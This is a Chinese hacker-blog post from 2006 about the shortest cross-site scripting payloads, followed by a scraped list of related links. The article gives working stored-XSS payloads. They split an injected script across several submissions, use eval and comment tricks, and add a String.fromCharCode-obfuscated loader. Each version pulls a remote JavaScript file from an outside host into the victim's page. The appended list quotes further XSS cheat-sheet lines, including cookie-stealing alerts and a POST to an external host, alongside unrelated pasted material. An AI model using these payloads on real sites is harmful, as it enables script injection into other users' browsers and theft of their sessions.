那天剑心问我,最短的跨站语句是多少?要放在以前,我一定会这样想,正常的跨站代码:<script>alert("a")</script> ,查一下,一共27个字符。嘿嘿,不过,这之前我在《黑客手册》上看到了他的一篇文章,《疯狂的跨站之行》,在这其中提到了跨站语句的另一种方法:
<script>z='document.'</script>
<script>z=z+'write("'</script>
<script>z=z+'<script'</script>
<script>z=z+' src=ht'</script>
<script>z=z+'tp://ww'</script>
<script>z=z+'w.pc010'</script>
<script>z=z+'.cn/1.'</script>
<script>z=z+'js></sc'</script>
<script>z=z+'ript>")'</script>
<script>eval(z)</script>
将这些语句分别写入,只要所写入的语句在一个页面中显示,那么这些代码最后就会引入到变量z中,总到一块就是:
document.write("<script src=http://www.pc010.cn/1.js></script>")
然后用eval()函数来执行这个z变量,就可以执行出跨站效果了。lcx在文章的评论中说,最小的有效利用代码可以是26个字母,就是<script>z=z+'d"'</script>,答案不就出来了,最小的跨站是26个字符。(今天在网上查找资料时,发现利用这种方法还可以少一个字符,就是:<script>z+='d"'</script>,用+=来代替=z+,嘿嘿,又可以减少一个字符,25个字符,不过,也好伤心,我好像只能在别人的基础上面有所突破!:( )。回复剑心后,他竟回了一个笑脸,我感觉这家伙一定又找出了更短的跨站方法。/jmdcw/
果不其然,今天翻开《黑客手册》第九期中的《phpwind漏洞之行》(因为一些原因,好久没有仔细看过书了),在其中提到了更短的跨站代码,如下:
<script>open(/*
*/"http://127"/*
*/+".0.0.1/"/*
*/)</script>
这其中的/*和*/是script的注释语句,将这些语句分别提交,同样的条件是这些提交的代码必须在一个页面中,这样最后所显示的就是:
<script>open(/*不会显示的无效内容*/"http://127"/*不会显示的无效内容*/+".0.0.1/"/*不会显示的无效内容*/)</script>
那么这个的最短的语句是多少呢?貌似<script>不能分开应用,除了这个,script所定义的函数比如open之类的,好像分开后也不能正常运行了,/jmdcw/这样的话,
先将最上面的语句:document.write("<script src=http://www.pc010.cn/1.js></script>") 转为10进制表示字符:
100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,34,60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,119,119,119,46,112,99,48,49,48,46,99,110,47,49,46,106,115,62,60,47,115,99,114,105,112,116,62,34,41,59
然后用eval加String.fromCharCode来执行:<script>eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,34,60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,119,119,119,46,112,99,48,49,48,46,99,110,47,49,46,106,115,62,60,47,115,99,114,105,112,116,62,34,41,59))</script>
下面就用剑心的方法来进行拆分:
<script>/*
*/eval(/*
*/String/*
*/./*
*/fromCharCode/*
*/(100,/*
*/111,99,/*
*/......./*
*/59))/*
*/</script>
中间的....表示的字符和前面的一样,这其中最长的一个语句是:*/fromCharCode/* ,16个字符,因为这是script自已保留的函数名,拆分的话,就不能运行了,由此可以看出,最小的跨站语句是由所采用的函数来定的。
BY 寂寞的刺猬
2006-12-10
相关推荐
3个国产AI大模型实战:如何用DeepSeek+豆包+千问批量生成高质量测试用例(附完整代码)
本文详细介绍了如何利用DeepSeek、豆包和千问三大国产AI大模型批量生成高质量测试用例的实战方法。通过Python环境配置、多模型SDK安装和统一接口封装,实现高效测试用例生成,并结合结构化提示词设计和多模型结果对比分析,显著提升测试效率和覆盖率。
XSS知识点和20字符短域名绕过
XSS知识点和20字符短域名绕过
嵌入式系统中的轻量级压缩实践——miniLZO在STM32上的性能优化
本文深入探讨了miniLZO轻量级压缩算法在STM32嵌入式系统中的性能优化实践。通过对比无损压缩算法的性能特点,详细解析了miniLZO在内存占用、压缩速度方面的优势,并提供了STM32移植、参数调优及创新应用案例,帮助开发者在资源受限环境中实现高效数据压缩。
XSS知识总结
HTML标签 等带src属性的标签都可以跨域加载资源,而不受同源策略的限制。每次加载时都会由浏览器发送一次GET请求,通过src属性加载的资源,浏览器会限制JavaScript的权限,使其不能读写返回的内容。
秦时明月6.2魔改版_从零到一部署指南_含安卓客户端配置与GM后台直通
本文提供《秦时明月》6.2魔改版从零开始的完整部署指南。详细讲解CentOS服务器环境准备、服务端文件部署与安装、关键端口开放及进程验证。重点涵盖安卓客户端APK的IP修改与重签名方法,并介绍了GM后台工具的访问与使用,助你快速搭建并管理专属游戏服务器。
怎么用phpstudy制作网站
随着实践的深入,你会逐渐掌握更多高级技巧和技术,让你的网站变得更加完善和吸引人。现在你已经成功设置了你的本地Web服务器环境,接下来我们将指导你如何利用这个环境来创建一个简单的PHP网页项目。为了使网站更加动态且功能丰富,我们需要学会如何让PHP脚本与MySQL数据库交互。为了让网站看起来更专业美观,可以考虑引入CSS样式表来定制网页布局及视觉效果。当你对本地开发的网站感到满意后,下一步就是将其发布到互联网上供他人访问了。让我们进一步扩展我们的网站,加入一个简单的用户注册与登录系统。
XSS 攻击简述
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。 使用 Django 也可以简单模拟次效果 def xss(request): s = ''' <script> for (let i=0; i<10000000000; i++){
华为OD机考双机位C卷 - 员工派遣 (Java & Python& JS & C/C++ & GO )
华为OD机考双机位C卷 - 员工派遣 (OD上机考试双机位C卷)。提供在线OJ刷题。Java、C++、Python、GO语言、C语言、JavaScript题解,并提供完整思路讲解。
简单的XSS代码
XSS(跨网站脚本) <script>alert('HelloWorld')</script> 如果网站没有进行过滤用户输入直接显示的话 你讲这句话打在评论里,其他用户访问此评论,页面会出现一个helloworld的弹窗 当然你可以利用它做更多的事,不过我还 不会 慢慢学习 ...
【微服务】SpringBoot 对接飞书审批流程使用详解
SpringBoot 对接飞书审批流程使用详解
EMB电子机械制动系统冗余备份方案介绍
随着汽车智能化技术的快速发展,自动驾驶技术的不断升级,对车辆制动系统的可靠性和安全性提出了更高要求。根据国际汽车安全法规(如UN R13-H)的最新修订,L3级及以上自动驾驶车辆必须配备具有冗余功能的制动系统,以确保在任何单一故障发生时仍能维持部分或全部制动能力。本文重点讨论最具前瞻性的EMB(电子机械制动)系统的冗余备份设计方案
XSS短字符短域名绕过,XSS相关的知识
搭建完成之后我们就有以下的界面这将是我们进行xss存储型攻击的目标,当然也需要一个工具这边国内外都有网站,我用的国外的网站,直接注册,为了之后的方便建议把自定义xss域名设置短一点,然后我们就可以进行尝试绕过了;先一步把靶机配置好环境,然后我们进到xsshunter中在里边我们能获取到,这是推荐给我们的语句,是可以直接使用的。通常情况下,程序员在编写前端的时候,都会限制我们用户输入的字符长度,所以我们要选择最短的一条语句输入;这条是最短的(别问我为什么域名这么长,申请不到)...
假人有限元模型
假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用
简单的XSS攻击
首先寻找攻击入口: 然后在里面写入js代码,如果js代码太长不能满足格式长度要求的话那就直接导入js文件 攻击代码如下: var Ajax=null; // Construct the header information for the HTTP request Ajax=new XMLHttpRequest(); Ajax.open("POST","http://www.xssl
jdk-8u144-linux-x64.tar.gz.
该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包
深度学习工具包 DeepLearningToolbox
深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[](https://bitdeli.com/free "Bitdeli Badge")
XSS 攻击常用代码
【代码】XSS 攻击常用代码。
VB摄像头监控
该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制
XSS(跨站脚本攻击) - 常用代码大全
XSS(跨站脚本攻击) - 常用代码大全: 1'"()&%<acx><ScRiPt >prompt(915149)</ScRiPt> <svg/onload=alert(1)> <script>alert(document.cookie)</script> '><script&a
如何编写最短XSS载荷:19字符突破HTML上下文的终极技巧
XSS(跨站脚本攻击)是网络安全中最常见且危险的漏洞之一。本文将为你揭秘如何编写仅需19个字符的最短XSS载荷,让你掌握突破HTML上下文限制的终极技巧。这种精简的载荷不仅便于测试,还能有效绕过某些过滤机制。😎 ## 什么是XSS攻击及其危害 XSS攻击允许攻击者在受害者的浏览器中执行恶意JavaScript代码。这种攻击可能导致会话劫持、敏感信息泄露、钓鱼攻击等严重后果。理解如何构造高效的
XSS攻击绕过方法大全,XSS攻击技巧,收集100种绕过方法分享(2024最新)
尽管许多网站实施了输入过滤措施来防止跨站脚本(XSS)攻击,但在特定条件下,经过精心编码的脚本仍有可能实施XSS注入。本文旨在为专业的安全测试人员提供一个跨站脚本漏洞的检测指南。
XSS 绕过长度限制的一些小技巧
前言 很多时候,产生XSS的地方会有变量的长度限制, 这个限制可能是来自服务端的处理结果。 案例 假设下面的代码存在一个XSS漏洞: <input type="text" value="$VAR" /> 服务端如果对输出的变量 $var 做了严格的长度限制, 那么攻击者可能这样构造xss payload: $var: "> <script>...
【XSS漏洞-03】XSS漏洞语句构造和绕过方法实例
目录1 XSS语句构造方式1.1 第一种:利用[<>]构造HTML/JS语句1.2 第二种:利用javascript:伪协议1.3 第三种:事件驱动1.4 第四种:利用CSS(层叠样式脚本)1.5 其他标签及手法2 XSS语句变形及绕过2.1 第一种:大小写混编2.2 第二种:**双写绕过**。2.3 第三种:**引号的使用**2.4 第四种:使用 [/] 代替空格2.5 第五种:在一些关键字内插入回车符与Tab符2.6 第六种:编码绕过2.7 第七种:拆分跨站2.8
跨站攻击XSS原理及代码示例
这种攻击可能会让用户根本不知道他们的信息已经被盗或者他们的电脑已经被监控,从而让攻击者可以实时地监控用户的网络活动或者窃取用户的个人信息。例如,我们可以通过注入更复杂的JavaScript代码来完全控制用户的浏览器,从而执行任意操作,如记录用户的键盘输入、监控他们的网络活动、窃取他们的个人信息等等。XSS攻击的危害非常大,它可以让攻击者完全控制用户的浏览器,窃取用户的隐私,破坏用户的账户,甚至在其他网站上执行恶意操作。请注意,以上只是XSS攻击的基础示例,实际中的XSS攻击可能更加复杂和难以防范。
惊天揭秘!XSS跨站脚本攻击,从零基础到精通,收藏这篇就够了!
还在傻傻分不清XSS?别out啦!这可是网络安全界的“老司机”必备技能。想知道黑客如何利用XSS漏洞,在你浏览网页的时候,悄悄“搞事情”吗?赶紧上车,带你一探究竟!
xss payload
'><script>alert(document.cookie)</script>='><script>alert(document.cookie)</script><script>alert(document.cookie)</script><script>alert(vulnerab...
无需括号的xss payload
现在就是非常后悔
xss 常用语句
iframe srcdoc=""> --弹ip。 //引用外部的xss。 //弹cookie。 --反射型。
在XSS测试中如何绕过字符长度限制(续)
在以前的NOSEC文章中,曾发布过一个在20个字符限制下进行XSS攻击(引入外界XSS脚本)的文章(https://nosec.org/home/detail/3206.html)。而本文作者对其中原理进行深入了研究,找到了更多相关payload。 跨站脚本(XSS)是在Web渗透测试中发现的最常见的漏洞之一。但是,根据注入点的位置不同,对攻击字符可能会存在各种限制。而在这篇文章中,将展示利...
713



被折叠的 条评论
为什么被折叠?



